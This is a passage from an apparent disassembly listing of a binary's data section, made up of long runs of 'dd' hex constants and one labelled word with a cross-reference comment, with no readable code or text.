		dd 0DF53BB24h, 2E637764h, 39CCA2h, 0BD35D54Fh, 1C00C212h
		dd 75ED5796h, 0C09452E0h, 261BAE50h, 0E011FCBh,	0BCD9F53Fh
		dd 33CCAAB1h, 9171007Ah, 0C1462B0Dh, 0B4F4F227h, 3E26603h
		dd 0C7904356h, 0B5530960h, 0AE590C70h, 5C83A11h, 67C03812h
		dd 15EAEA05h, 4F1B6800h, 121A6ADh, 395E6101h, 246B429Dh
		dd 0F707483Ch, 3F8F6873h, 3236AAA0h, 0F2B13870h, 0B71CA800h
		dd 4475F062h, 0B5DA2E14h, 0F31150A0h, 4A559200h, 0E1F419C8h
		dd 0A2910035h, 0FF7C0E46h, 83F8160h, 9A7A9852h,	7178810h
		dd 0CD73122Fh, 8515D0h,	10AF4A0h, 920F5E3Ah, 41D77670h
		dd 0FFE3FB9Bh, 2E03F7C4h, 4EAB46Fh, 93596E4Dh, 0FE9957DCh
		dd 45523019h, 0D67C4800h, 652523E9h, 0DA260912h, 4000C6E3h
		dd 0FBBA2086h, 10733B0h, 9345410Bh, 4FE06877h, 0AF607Ah
		dd 0B2DB4DD3h, 2FE0D2A9h, 74616B3Eh, 0B1BB9F02h, 6015787Ah
		dd 0FA99B4h, 0C2514C9Ah, 0A6256462h, 84311D01h,	517CF5Dh
		dd 0FCFA5330h, 2CBA0085h, 4B749C36h, 0E001311h,	0F937197Fh
		dd 18ABF540h, 18163F7Ah, 0D50079D3h, 527F8832h,	0FEC5303Dh
		dd 1FB90718h, 20F95038h, 544642Ch, 0ECE1BC26h, 0AB261680h
		dd 30DE8241h, 0EE70846Bh, 3A004CCBh, 0D84B72CCh, 0BE307Eh
		dd 6BF5FDE0h, 0D2AA01FAh
		dd 0AD08BC00h, 0D17A48A0h, 0BA5900D9h, 8B05BEEEh, 4200D014h
		dd 0BD5AC31Dh, 29CA37h,	0DAE46E10h, 1248B263h, 4E491E00h
		dd 0B0D26299h, 40460029h, 329BFBE5h, 8781244h, 0EF24C679h
		dd 6C802CF4h, 0B8ABBB27h, 5993002Ch, 96488E2Bh,	6A00A91Ch
		dd 0A5440D01h, 2C222Fh,	16B8C3B5h, 1CB975E0h, 1F31C15Ch
		dd 5E824F7Fh, 600B6864h, 3E65DFB4h, 3280C8C7h, 0F0F28BC6h
		dd 25061D5Ah, 8A093457h, 3059001Ch, 3396B06Ah, 0DE00AF24h
		dd 0B34F85B4h, 3D421F3Ch, 3F001CC7h, 0AE8FBB28h, 98009FF7h
		dd 0E6D2EBBFh, 838C2Dh,	0C3790E0Dh, 0FD229B68h,	99737775h
		dd 0BD098618h, 380FC48h, 4C39D39Dh, 41017B24h, 0B967EE2Eh
		dd 72D4D932h, 80E400C0h, 1953AB5Eh, 3B1C819Ah, 0BDC00985h
		dd 67EB5210h, 0AC383B41h, 9EECEA2Ch, 0F73B83F0h, 0DCF86A22h
		dd 0D302107Dh, 0F50304A9h, 5118407Bh, 0ACFB1345h, 8B5C0756h
		dd 47C6E011h, 6F03CF39h, 0BC9F2937h, 0CD4E8E5h,	0FC3B48ABh
		dd 0E4E4FC7Fh, 4ADF1865h, 62957111h, 4988A80Eh,	6F821E27h
		dd 8147DF50h, 0A8599710h, 3F291C34h, 26B1F0F5h,	8FC9DB08h
		dd 9DFD2719h, 0AC53C40h, 1BF6A9Fh, 0C60D6C97h, 0E0254D19h
		dd 0DD6115BDh, 5E73628h, 30A86474h, 6F68047Bh, 93184856h
		dd 329B9AAh, 10211627h,	45404ABAh, 20059044h, 271503DCh
		dd 0A985942Bh, 0C1D52124h, 7135627h, 30DD58B8h,	33F0B09Ch
		dd 7E0043ECh, 0E34716FCh, 9F6BB420h, 0B7004DF8h, 3A7776EAh
		dd 135A1929h, 0D06960h,	4B91A458h, 9205C067h, 2E38211Ah
		dd 49EA8BC0h, 0F8CC00FAh, 485D59E3h, 0BA0F7127h, 97B34B6Eh
		dd 1F76FE00h, 9814AE5Eh, 0F904607Eh, 3686B9E0h,	1A198E0Eh
		dd 25D1C7A8h, 3D21FB46h, 300A1CBh, 88399176h, 0DF00DCABh
		dd 19688969h, 516F50Ah,	8CB653ECh, 64905E44h, 38B300C7h
		dd 3110E537h, 31E4673Ah, 2A04211Fh, 7A9E60h, 57C83277h
		dd 0C5622C7Ch, 0E0EC1E00h, 0A88AE945h, 0A7807BBh, 53D1E4h
		dd 2933B602h, 74005091h, 6FC294D2h, 44707EEh, 44480797h
		dd 0D3D4D0FCh, 27009514h, 0FE2EC340h, 6CCE3A51h, 0B68960EBh
		dd 0E9C34898h, 0F89BC58Bh, 73455A38h, 111C3027h, 93B2BD80h
		dd 57E17215h, 10823A0h,	8E3786BEh, 0CA1E0E01h, 0F26783A6h
		dd 90B459EEh, 0D5FA8D0Ch, 520BBA00h, 21B949D9h,	0E9AC007Ch
		dd 33CA99AAh, 89C4E0E4h, 8010B0C0h, 0C7AA106h, 6D031041h
		dd 5A1589F2h, 0CCFB901Bh, 209913BFh, 0C0511D90h, 0CDFF91B4h
		dd 0D5000518h, 0ED448707h, 0A2D3C0h, 1F5B414Ah,	8BEED8A6h
		dd 13989400h, 0B5C4287Ch, 0C0960009h, 5BAF1D7Eh, 0D500FBC1h
		dd 0EFEB9A18h, 7717E692h, 0BB660054h, 3D2C9F3h,	0C124EE70h
		dd 350003F0h, 0B2D80936h, 0E43F0004h, 9C92C4D2h, 0CA001EA3h
		dd 0F3FD87EEh, 9FB481h,	20A9AD7Fh, 0A86B5122h, 31FAEB07h
		dd 7D70F946h, 0B73615h,	2F74AEDDh, 2169E1FFh, 90F7EA07h
		dd 917114E7h, 0F1FCFD89h, 7B9501F9h, 0ED029473h, 0EA4AF0BDh
		dd 0FF2DDA00h, 0CA330CA0h, 0D8A70148h, 18BDBBA4h, 32A6C87Fh
		dd 126CFD0Ah, 9501D0DDh, 9CB02493h, 96B1588Ch, 1E7F6C08h
		dd 0A2D45F00h, 6E3570BEh, 3CB20FE3h, 51002D99h,	0DCCA34BFh
		dd 495E0F00h, 0E39C0462h, 633D0C3Eh, 0CFA95B14h, 7CF07901h
		dd 6156E557h, 90D799D0h, 3AF10001h, 88827AC3h, 31C76DCAh
		dd 808D1267h, 150EE0h, 0A9C1B1BFh, 5FAB03CCh, 0A15AF30Ch
		dd 892076h, 64490B6Fh, 54E343F0h, 7A998A0Eh, 0DC50050h
		dd 3014CA8Fh, 0A7A16EE8h, 56083E43h, 80BC1567h,	227EC98Bh
		dd 1F3D733Ah, 3FD1BB0Fh, 6869977Ch, 0D513A303h,	9401BD17h
		dd 86CEEC05h, 30B391E8h, 57894BA6h, 4E98D4D7h, 8EEBD918h
		dd 607888C1h, 19C2696Ah, 0C6FC1496h, 0D81D10C0h, 3DC41Eh
		dd 0E1FC3E08h, 8CC0391Ch, 90727300h, 52F7A05Eh,	0D20F00D1h
		dd 0A693B077h, 0C63D55BFh, 24250098h, 72F1671Bh, 9DB1718h
		dd 36C60061h, 0E85FFA14h, 967EE9FEh, 0BFC66200h, 0E2A1E3B2h
		dd 4411CAB8h, 3F0F7C04h, 80450B4Eh, 0EAF5EFDAh,	23290087h
		dd 6B64C94Ah, 5F001099h, 8339DBADh, 9D3015h, 0E1468709h
		dd 2BAFCCEEh, 41343600h, 2CBE7E72h, 26847E9Eh, 63AA35h
		dd 4BB02E60h, 76006D74h, 2445E89Dh, 112CB2h, 0E61FC953h
		dd 19D8CE44h, 0E92A3300h, 13D19F4Dh, 8AE10070h,	6CF7F412h
		dd 5000B984h, 386AEDD2h, 629861h, 2794539Ah, 0BF3242D7h
		dd 117F7B0Eh, 0D4D8A009h, 0C94EDBh, 0EF0CF912h,	469489E6h
		dd 0DFB1BB1Dh, 0BDF81980h, 0FBC24Dh, 0B8D1CC88h, 7481C891h
		dd 0FE936600h, 731C6D6Bh, 0EF8300DCh, 85991288h, 8200399Eh
		dd 268A1F08h, 7FA62C18h, 36780Ah, 0B0742F04h, 0C754CBEEh
		dd 730840E1h, 1F00F867h, 7D0D2778h, 0D10925h, 0D796560Eh
		dd 4FAEBA02h, 0D8CCBC50h, 2B001EB8h, 3A180A1Bh,	0A6EEB1h
		dd 6C6AD4F2h, 44A50166h, 4002067Fh, 0B415C66Bh,	0F8C0DDCBh
		dd 0F900CC68h, 74DD6339h, 0E723DCh, 3611D893h, 0E96907EEh
		dd 8B70B461h, 0D100BFC4h, 3007FBA9h, 0C0CAF814h, 0FAA187A0h
		dd 0C8960EF0h, 762032B5h, 78BF6C8Dh, 836F7C00h,	1FA2BB2Ch
		dd 1AE4A0BDh, 7427397h,	7BD04EADh, 7FA490C3h, 0D709C9ECh
		dd 8CEEF9h, 12FDD9D7h, 51310021h, 0E8DA634Ch, 0CB775040h
		dd 73AF7700h, 537E118Eh, 6A951482h, 0D40F4CAEh,	3CE74AF6h
		dd 6C41A0F1h, 0E9FE4673h, 0F426110Fh, 0E3D6202Eh, 3B72836h
		dd 182489A8h, 4BF09BFCh, 6A71591Bh, 416E73Bh, 1CB5CAC5h
		dd 0A508081h, 7E003C22h, 0EDA8B612h, 0B71E0130h, 3C43C4A0h
		dd 0C95C0CBFh, 9BF0B5D9h, 8B160004h, 29D6B4E5h,	0E0085CBh
		dd 67CD70Bh, 0C309EC8h,	8B52F8C6h, 59FE3C18h, 3FB3CC00h
		dd 0D8ADFFEFh, 0E5601E6Dh, 0BD30C091h, 810CAC21h, 18ED390Eh
		dd 15031C13h, 0E149D5h,	0D31BA2B2h, 26C40636h, 17BA910Ch
		dd 39522D2h, 47C501A0h,	0D0006932h, 0F03A8934h,	1F51F811h
		dd 81B0DCCBh, 0A9BC8D98h, 37D8501Bh, 0EB00DF65h, 0E3F4842Bh
		dd 60D08AF6h, 9C32B086h, 0F73F588Fh, 0E0E8870Ah, 7DC0090Dh
		dd 0F71744Dh, 0EC153A91h, 8F5C5D60h, 4B00112Eh,	289FAE46h
		dd 38298EB5h, 8C280533h, 0D5DB00E0h, 0E13B99D0h, 80C0BC7Dh
		dd 7442E841h, 966E262Dh, 0D8DD0020h, 1D770E51h,	50BEBB26h
		dd 0A24AB881h, 8EF4ECCEh, 0FEFC263Fh, 40811CEEh, 0D54BDFF8h
		dd 3BE2842Ch, 0A8EBFA30h, 614E6F90h, 24759891h,	3CE4DCCAh
		dd 0FA47BA1Dh, 557EF700h, 23A4DAh, 578FD353h, 0D8212D9Ch
		dd 84313818h, 407449h, 0F080796h, 1298A1CEh, 13ED6A00h
		dd 873445A0h, 0AD4B0253h, 6318D3DDh, 96556EE0h,	42472700h
		dd 28DE315h, 5D780E1Bh,	38204EE1h, 5C6A7A58h, 0A2ABE402h
		dd 0E3EA17EBh, 0E6ECE0E5h, 0C02C1F8Bh, 83C6C0EEh, 359FD280h
		dd 0E1F4C300h, 0F152C1D4h, 5E1F1739h, 6E4000C8h, 13C571F9h
		dd 80ED3507h, 0B5C35186h, 997AB029h, 0A6731264h, 400807BBh
		dd 0EAE8C1C9h, 0CB808165h, 0F97D7E3Dh, 2607ACF0h, 8308CDE0h
		dd 92B56ADh, 703F78C8h,	0F81C9700h, 0E4C36046h,	0B5C6008Bh
		dd 0C06F2095h, 0D7F5C68h, 0F7CAEA00h, 0ED630350h, 9D2401A2h
		dd 2F6F7977h, 0E1FA7006h, 9D884Ch, 338410A1h, 78238931h
		dd 8E4200BAh, 6A6E1362h, 9100478Ch, 0F4C84ACFh,	38126B2h
		dd 7E07AF59h, 0A009C788h
		dd 2A56DFh, 0F5337C08h,	7F2C13BBh, 0F06E0172h, 0E160F7C9h
		dd 6E9C30B0h, 2507A5B8h, 660F4DB4h, 63861CF0h, 3C9B07C3h
		dd 0A03E6FC7h, 4CBE1489h, 7E80044Eh, 18A8E64Bh,	1815A377h
		dd 2301CEAFh, 57F4709Bh, 0C0CCC676h, 0C17BB9h, 0E3D5CFFh
		dd 0ABFA588Bh, 0C65A8004h, 0F981BE17h, 3ED94213h, 4FEAC20h
		dd 0EE1A6BCBh, 0D9BCD0F2h, 2505FFABh, 177550F1h, 2311B000h
		dd 5D0E79h, 0F38A9C0h, 33036A47h, 49CC261Fh, 0A4880F8h
		dd 8144CEEDh, 5DB000ACh, 0BC9CF0E4h, 290014C1h,	246ED7D6h
		dd 7E1DA5h, 1F325B36h, 523942CAh, 98180FB0h, 9B389CC7h
		dd 4C8E0EB6h, 0BCC019FCh, 45EB348Bh, 23D7CB0Fh,	0E428613h
		dd 0D89B0341h, 0EEC8ADCFh, 0D5F226E8h, 1054D58h, 241C5EDAh
		dd 37607B17h, 2E727Eh, 87EBDECEh, 0D6A77137h, 8091FF3Ch
		dd 610F8902h, 1F52B578h, 4E5434EEh, 72E7483Bh, 0C6A4F09Bh
		dd 1008C3Dh, 266FDABh, 0E00ED48Bh, 0F77F206h, 0CA614C53h
		dd 67B3C09Ch, 0DA87CB82h, 1500FD7Bh, 0C1AD8598h, 198379h
		dd 38765FB9h, 60BF8E21h, 4FA7B006h, 107251h, 4CD6D82Fh
		dd 1F937F50h, 1D372C12h, 5DC2E821h, 6141F8h, 8A2AAC04h
		dd 0D2572E24h, 8773181Dh, 7B6F9B80h, 0D8B602h, 4365D350h
		dd 0A31F5F7Eh, 7AF88F18h, 61260710h, 0ED3F56B8h, 0F2D8F7B4h
		dd 0AC3C400Ch, 726F80F6h, 34947646h, 0CF1B13FEh, 0EF8040BBh
		dd 0F651B0BCh, 8BD44F17h, 24003813h, 0EC490A8Ch, 58C40140h
		dd 63A1AEA3h, 0DB1070B1h, 0C5FEDAE6h, 7EB7190Eh, 0E7CB95h
		dd 93EF7194h, 7F41183Dh, 3BBF604Bh, 3C60332Eh, 2902DD81h
		dd 89DDC86h, 3B1907D7h,	4121DC5Bh, 9549971Eh, 9ED65846h
		dd 0CD97408h, 635C3EC0h, 0E90F4450h, 61920BB8h,	0F090E083h
		dd 0E84FBD0h, 0E6F63158h, 0CD50B820h, 3F007D99h, 52977274h
		dd 12BC9F28h, 3E0D992h,	63A2C5A6h, 93E790Ch, 3B6B02Fh
		dd 74DAFE41h, 2802E112h, 3EC29EEFh, 0A240A052h,	80F09DB8h
		dd 0E7E8F3BAh, 0BF283854h, 2A00CB90h, 0B78CD6C7h, 1EA075h
		dd 5BBDA369h, 967ABB9h,	487B8900h, 75E26873h, 518F0078h
		dd 0CA90EA7Ch, 0BF070474h, 11B2186h, 8A00F147h,	7D7B41h
		dd 3D63C762h, 0E729D173h, 0D7720616h, 19ED7A00h, 7DB740E0h
		dd 70300A7h, 7B09B8B6h,	0D7012761h, 154C816h, 0DC29BC57h
		dd 0B68530E0h, 0B0E9C70Ch, 0C2191Eh, 9EDD7929h,	0E74E5833h
		dd 265B233Ah, 0DC809C05h, 6D8E7811h, 55DD0CB7h,	0C7695D95h
		dd 0C11C3A00h, 70CE0A73h, 1E4F00F7h, 109AC668h,	16EE08E9h
		dd 38300E60h, 97E81703h, 4E429640h, 0D59CCCA8h,	1EA8690Fh
		dd 8F41E0FBh, 1BD5D0Ah,	392F8658h, 806E3D84h, 0A5526220h
		dd 0A70FD914h, 0F8D60820h, 0D7B816C0h, 8050E7BFh, 1A8ED5Fh
		dd 0FE01B72Ch, 0BD093F63h, 41216F08h, 0D753A915h, 6E78CC5h
		dd 2F0E158h, 0B101C811h, 0DADB2585h, 0F882C9BFh, 0BE0CE0C6h
		dd 0BCE5C0FDh, 182148EEh, 8E926680h, 9A03DC82h,	0F8471E29h
		dd 6DA32Eh, 8EE51C21h, 0A3708140h, 9A09BA00h, 0DAC6BBF0h
		dd 60FB67C7h, 1F284A4Ah, 67F0413Ch, 0D0403927h,	305D3855h
		dd 15E458E0h, 788C9710h, 6C42400h, 83D890E1h, 223B33B8h
		dd 21002F08h, 5006CC7Ah, 33DB670Ch, 98E07FD1h, 717B6230h
		dd 0C01C8B55h, 5EB38231h, 0E03B30FDh, 124505D2h, 9C42D0E2h
		dd 44E34AE5h, 0D37F000Ch, 0A72609Bh, 8A05E0E7h,	8370C94Fh
		dd 588A804h, 7F979C0h, 0B5AF18B0h, 0FE39185Fh, 918C360Ch
		dd 79F31071h, 0D90A021Ch, 0F89FDB76h, 0E85F8880h, 0B8A0A62Ch
		dd 0AC00301Dh, 1EBBC62Dh, 3AB4BAh, 0B8477E4Bh, 68B1F128h
		dd 97940C03h, 0BE4D8EBDh, 0BC822658h, 0A9184094h, 100067C2h
		dd 0CD646F47h, 1C09F4E5h, 2E1154h, 13F25FBCh, 0E800D49Eh
		dd 68223FAEh, 607E737Fh, 57BA90ECh, 0B5001247h,	9D5CB215h
		dd 0C1B3D4E9h, 2FC5DFA0h, 115C58FEh, 40676D80h,	0B1B813A8h
		dd 0E0BCF43Dh, 69CD5D99h, 0FCF100E2h, 39AD7B68h, 64187331h
		dd 0DAE17F30h, 0DBD504AFh, 98EFC7B3h, 794C2FE8h, 4CE45170h
		dd 21C011E8h, 38781722h, 5726010Dh, 694D0649h, 8397E945h
		dd 5EB13CA1h, 0C76388E0h, 0B75D0631h, 0B066B4D4h, 0EA971D00h
		dd 9C3671F6h, 0C865054Ah, 40ECD430h, 0B5D887F0h, 90F01Fh
		dd 0DF71C61Eh, 84F37C0Ah, 8B119002h, 6A4600D1h,	67018166h
		dd 0EC624516h, 44200FAAh, 26DD265Bh, 34723B18h,	9030B8ACh
		dd 8B9D6248h, 50DAF4E8h, 33809038h, 0AB048694h,	80909206h
		dd 0DF803867h, 5FE906D2h, 7696047Fh, 0C116D9CCh, 20C7BD28h
		dd 660CC428h, 68FC503Bh, 0E0960940h, 4A110C9h, 89E68375h
		dd 21AC691h, 68595F70h,	64C8AC80h, 0CBB4B1AFh, 7E3DFB8h
		dd 0F113B774h, 0F0B3EDF5h, 70FDBAAEh, 5A18CFA9h, 0BCC91E39h
		dd 0C959DD1Ah, 5C000854h, 0E993CFADh, 905E8830h, 289CB124h
		dd 15D06495h, 9C35DA0Dh, 2D994804h, 0A774D27Eh,	56014C40h
		dd 0F2E04082h, 0E35588BAh, 76A43A4Dh, 1B42252h,	0F5B7E03Eh
		dd 0C434C59Fh, 0BC3913D8h, 0E18460D9h, 0DC23878Eh, 16911F2h
		dd 0B89E981h, 0D0F41C7Fh, 15480251h, 0BF64DE88h, 3D05D0C4h
		dd 34F3CB74h, 0F12CC8h,	14B8E88Dh, 703F0A71h, 6F4219C0h
		dd 7E29DDh, 0CFE1E776h,	0E50F5680h, 20011276h, 959FD2CCh
		dd 88A44ADEh, 0A4670FACh, 9A55BE01h, 2C498651h,	0E94394h
		dd 0DF0F373h, 0CB40D8ABh, 2A3BDB02h, 402890E6h,	14F3E2Ch
		dd 1CE25E04h, 44126E0Ch, 0D340C29Ch, 8A8D130h, 0F5E1B728h
		dd 4A40A464h, 0CF3BA8D9h, 1A69E203h, 0F1079C22h, 5AF51EA5h
		dd 1C7844E2h, 51971CE6h, 0BC030012h, 0B72632CEh, 152C075Dh
		dd 90E91782h, 2BACB4E0h, 9F2FC407h, 9993ECD5h, 23A00924h
		dd 782A98D4h, 0BDFA0854h, 0E6792860h, 223B469Eh, 2430EE0Eh
		dd 4CAD79h, 143E2FCAh, 4C17FA15h, 0B814B1DBh, 3A0A1004h
		dd 68EE6C0h, 448CFADCh,	0EE098073h, 2D09489h, 75BD58h
		dd 3761CB70h, 0B839C412h, 0C02CF408h, 909D0150h, 881818FDh
		dd 60DD7DEh, 0D9E24A89h, 8A7D6040h, 795B6035h, 0B3642529h
		dd 50AEF303h, 0EDFF9537h, 8981DB00h, 15112Ch, 3F244EC1h
		dd 3B56FE49h, 0E00D7631h, 9D0C21EDh, 0DC838E08h, 4068C492h
		dd 0F98EE41Dh, 60BF2EDh, 0B30F1CF4h, 0F8F89914h, 6F558h
		dd 32267B6Eh, 4C43DAC7h, 330A40C3h, 407C2D69h, 909C06BDh
		dd 2D22B046h, 0DD5Ch, 0A30D9405h, 13958BBDh, 42204E08h
		dd 80258460h, 14D2B080h, 41308C30h, 2450106Bh, 0CAC502B9h
		dd 63027DDCh, 4138E460h, 0B00FCE4Fh, 12C3E6D9h,	0DA520718h
		dd 0C3BA5C83h, 0E8B8EC26h, 3726FC08h, 9E8A1CC6h, 0BE89BC35h
		dd 1A602031h, 15E36B9h,	5B9C1C15h, 4821EBB4h, 0E800E1C8h
		dd 43B9DAC5h, 0E2CC3613h, 24890FDDh, 0A2C0D392h, 0F09EE4D4h
		dd 0D041F631h, 0F9805594h, 790D6577h, 910039BBh, 0E957EFCBh
		dd 3B8ACD93h, 65805EF1h, 54D89CB0h, 3012425Dh, 0D41E43BEh
		dd 0A8E40063h, 0C239B725h, 0EC758085h, 674149A8h, 7CAB7C24h
		dd 0F5938E3Eh, 8827C0DDh, 4D369D8h, 7ADB9C33h, 0C4B08EA0h
		dd 0C330C618h, 93E207EBh, 0B113DB7Fh, 0D04259ACh, 0A0F3E0E1h
		dd 1D2B7B4h, 53DD14DFh,	0CE00CC13h, 0F3E57E5Ah,	90008706h
		dd 35A2AFD8h, 93A8937h,	1169E382h, 0D1071846h, 5090E006h
		dd 402E64F8h, 0D806D909h
		dd 3D9B01C1h, 0A184F3Fh, 3CF08FF4h, 38694117h, 0F82614BCh
		dd 4CC47850h, 8853B4DCh, 86006B22h, 820A89ECh, 0E4BA9046h
		dd 0F24C0740h, 503BEA6Dh, 7379181Ch, 0BB6B2Eh, 0EB5D903h
		dd 24D0C5EDh, 0B819365Fh, 0C1FDF9B4h, 94CA07h, 0C68EFAEAh
		dd 23549C30h, 55603FC0h, 0D39FF979h, 17C1902Ch,	50B4554h
		dd 414EEB70h, 0B09C26A4h, 6BC45016h, 0ECF36852h, 0E400E153h
		dd 936FF33Ch, 0C4A32B71h, 0C29F2798h, 0DE205D04h, 5FD0484h
		dd 31A4B1D8h, 0C4D80F5Bh, 0C73C2D03h, 997EA839h, 0D740A1FFh
		dd 0EBE42021h, 99F603EFh, 97357031h, 2C843BC9h,	0D9E50134h
		dd 1A27D37Ch, 1DDAF040h, 8EBD1320h, 3FE04699h, 90138156h
		dd 0C20060E0h, 0FFA250Eh, 0DF890098h, 0BA4304C3h, 3C00F5D8h
		dd 0AC13F9F0h, 9839D396h, 0EBA0086Ch, 0EF11B799h, 518E9380h
		dd 7C52E2DFh, 0B723CAE4h, 4D3CAB00h, 7D760A8Bh,	0A03DE825h
		dd 4312CE4h, 0CF78BA35h, 5587C02Ah, 2C921039h, 7E4FE426h
		dd 14CB0200h, 12E0D8E6h, 124A4EF0h, 0B65C09ECh,	5C27045h
		dd 0D4DF18C7h, 0B2307FECh, 0A1E190Dh, 89D0015h,	0EB862F8Bh
		dd 0FF02DDB7h, 84B6074Ch, 6A38C9A5h, 3C626980h,	320D673Fh
		dd 98EF9C35h, 925DC290h, 0F8E12790h, 31277800h,	0E21A1385h
		dd 0C0D8BA42h, 808039A4h, 0BC2EA9E7h, 0D82022EAh, 0B8C1852Ch
		dd 2560E544h, 9E23E179h, 50A1153h, 0C4792D28h, 2045CD0Eh
		dd 47DB7C82h, 3B089017h, 34A4BB8h, 0AEBD27ACh, 0E1D8A094h
		dd 4A6E1013h, 40136091h, 0C5019479h, 0CE089E60h, 0CFF47434h
		dd 73411306h, 58115Ah, 0EC6CAE45h, 0C707E0D9h, 93B13761h
		dd 805004E9h, 9BDDDBh, 0BA0A6C6Bh, 0CEE4294Eh, 70A77024h
		dd 22C5C69Fh, 203C16D2h, 0B6E460Ah, 68C1E94Ah, 0F60878h
		dd 2B15305Bh, 1B874B64h, 7EDEF509h, 0C4FC45EDh,	527A6023h
		dd 0D5010F31h, 27C24FE1h, 0B8418757h, 0C6A850B4h, 2D13DB5Bh
		dd 3800E3F1h, 0C706E03Fh, 331401D8h, 7CE193D7h,	38C0924Eh
		dd 6F23982Fh, 6168F207h, 0E0B1BD42h, 3D9D4B30h,	80EF148Bh
		dd 0B0C7B964h, 9743166Ch, 0E706CA02h, 0EC712890h, 18E00466h
		dd 6CBAFCD7h, 58C44685h, 98B7C7E8h, 12C1729h, 90E606CFh
		dd 7B2E0E20h, 0DC6502A4h, 0CE82F56Bh, 68402969h, 34905C49h
		dd 0BCEB6C12h, 45B43C32h, 80F1EFDCh, 952B7951h,	7F8E00A7h
		dd 0F0E10ABBh, 60924676h, 63459C14h, 0B5706230h, 7E10054h
		dd 6DF8B990h, 7D738D00h, 11AC0EA9h, 0E2190066h,	0EFEA6870h
		dd 0DF008C0Bh, 3777A586h, 51B848h, 0D5AD230h, 2F2A3DEAh
		dd 0B5740807h, 1DF74335h, 0EB6D6440h, 82213076h, 0B06A13FCh
		dd 19E87970h, 0DC203460h, 0A6218Eh, 3299DF31h, 61902BC2h
		dd 0BAD148C4h, 0A821B037h, 0CE171E9h, 2221C005h, 6EB92188h
		dd 0B2035200h, 0EA9F929Ch, 505067A2h, 60AAE05Eh, 78003E17h
		dd 0FE3A3089h, 1EDDCEB0h, 0B6D63h, 74A38F04h, 0FC0CAF9Fh
		dd 8B7E739h, 20666003h,	1CA2F15Dh, 637193Fh, 6945B26Ah
		dd 600B3AC9h, 9108861Bh, 7D441AC0h, 0FBC2D100h,	0B3B51C97h
		dd 0C04FE896h, 7D4D7921h, 0D6399558h, 82C00354h, 98496612h
		dd 36AA678Fh, 0A8B0530Eh, 8D07CC46h, 189F76A3h,	53400FC4h
		dd 6BF8A387h, 0EDAB802h, 201E49AAh, 0A1BBC667h,	95E5DF00h
		dd 46CB3032h, 7F68C65Dh, 6400404Fh, 0AB20444Eh,	0E09CA6h
		dd 4CB6EEEDh, 95E884A2h, 75BC6C01h, 972E6462h, 694790D3h
		dd 0B82700C3h, 0B56C3B32h, 70007172h, 638B4E17h, 3F128F74h
		dd 0E581D725h, 0F8C69ADCh, 0CFDEC077h, 80903E3Eh, 38A08F82h
		dd 0DABDF1h, 3489ED1Bh,	407BB907h, 0C621A300h, 0A14E5492h
		dd 338A0FF1h, 9C5FBB8Bh, 5C6B4136h, 705AFF89h, 0F40EB2FDh
		dd 0C1D8E411h, 34363F44h, 0B8E5588Eh, 4074309Ch, 3100B37Bh
		dd 0FDFCBED4h, 787D855h, 0DA0E7D70h, 0CC9190D0h, 50005A3Eh
		dd 0BB976030h, 0E82CCD11h, 0C6C300BEh, 74A8CA9Eh, 0BD030B56h
		dd 89F4AEE8h, 7C001DAh,	0B4F6C260h, 4369D803h, 0BEA47000h
		dd 0BF3E910Ah, 4FDA00C8h, 8163997Fh, 0B9C0516Bh, 0E5E74360h
		dd 0E467C16h, 0CEF70C64h, 0A521AEC2h, 136F8A00h, 0D23200A8h
		dd 904BC914h, 0FE0081D5h, 0BF38DAE3h, 305C55h, 0DBC0A378h
		dd 2BEBED44h, 2CCF5B00h, 0DA19FD11h, 424B0098h,	27926DF2h
		dd 9A02076Bh, 1A032102h, 4E60F5C3h, 4A00743Eh, 315F636Eh
		dd 0E119975h, 8FA5E10Ch, 0AA294DE0h, 20008B79h,	0DF982F69h
		dd 0E06C173h, 0AE4C4776h, 3A8031C0h, 0A40E2C8Eh, 0C0A0BAD2h
		dd 7A7F4BF6h, 0B6110094h, 8DC0815Eh, 3E73DC2Bh,	6D59F900h
		dd 74016641h, 0E1040306h, 0A6D1D530h, 9A3180ECh, 0C07F0C9Dh
		dd 0C8573300h, 15C41FC5h, 4A5A0067h, 7B50168Eh,	0BF004D6Eh
		dd 7A72E836h, 66878h, 41DE9B43h, 291B832Fh, 3828D400h
		dd 1124CDCFh, 0FD810F7Dh, 0B0804FFAh, 0F2C4F3B4h, 0C06C911Eh
		dd 0C98EACF0h, 68B4A09Dh, 67070087h, 2E285E51h,	3290393Dh
		dd 6ED0B4A0h, 33001476h, 0E72B2C8Dh, 0A6FF30h, 978280F5h
		dd 2A679D68h, 73EF1A00h, 0E3C2B6B1h, 7CDEECBAh,	0EDDC14FDh
		dd 0F500EC86h, 0ACB54A82h, 72072E02h, 8AD7692h,	1F38AF30h
		dd 0E2241C63h, 0D89180F3h, 0EE3E6CB5h, 99E0FB07h, 0C4002717h
		dd 3363B5Ch, 8BEC8E49h,	0CBA92A4Ah, 0EEF6D02Bh,	7C8D5300h
		dd 3A255809h, 0BEC20703h, 1031EC48h, 0A195DDC5h, 12F0BFh
		dd 8BEBD920h, 0CC681022h, 2F007B79h, 5BF14E36h,	5E9B101h
		dd 0D46C158Dh, 8ED800E4h, 0A61C7BC3h, 2705FD00h, 0F1BD30F3h
		dd 0AD70F17h, 0C05D505Eh, 0BEB8B544h, 0D43F3486h, 56520078h
		dd 0E111FE25h, 0F40F0012h, 8E6AB792h, 7F00BC7Bh, 0A29C7DCBh
		dd 60D9ADh, 8F86B96Eh, 0FB84019Dh, 4BFE4F01h, 65DCDAC0h
		dd 0B72DF8h, 750C25B6h,	557F2856h
		db 0, 44h
word_544F42	dw 0C3B1h		; DATA XREF: ___:off_4374C0o
		dd 6C8F77DDh, 371A00F3h, 201B6A80h, 45004333h, 0D8B57A51h
		dd 3B0D7F82h, 6001934h,	0EF2CCBE1h, 0C51C8832h,	0FF01C30Eh
		dd 0E7F1FAA0h, 5C964BDCh, 3E0076D7h, 0D24E3B01h, 0B1009D93h
		dd 0C91E3F5Ah, 9C8009h,	3B40C0F6h, 9308607Fh, 0E5AA1F0Fh
		dd 91F860F1h, 4809Eh, 4AD50DFAh, 0E2E0CF54h, 3A8C9500h
		dd 1AD20AB5h, 4B8E009Eh, 0FF93FCABh, 4A7CFA9Ch,	0ED597A03h
		dd 0D00C8AC6h, 0C076890h, 0A196F3F2h, 0B011128h, 87E6C380h
		dd 0E82492D0h, 9453005Eh, 0B452355h, 630022F1h,	10C12E40h
		dd 78300F1Bh, 90B40015h, 0F994FA8Eh, 9C00239Bh,	0A341DA7Ah
		dd 481B16h, 58D0CC4Bh, 0E4B98C9Fh, 0BE892C00h, 462EAF4Fh
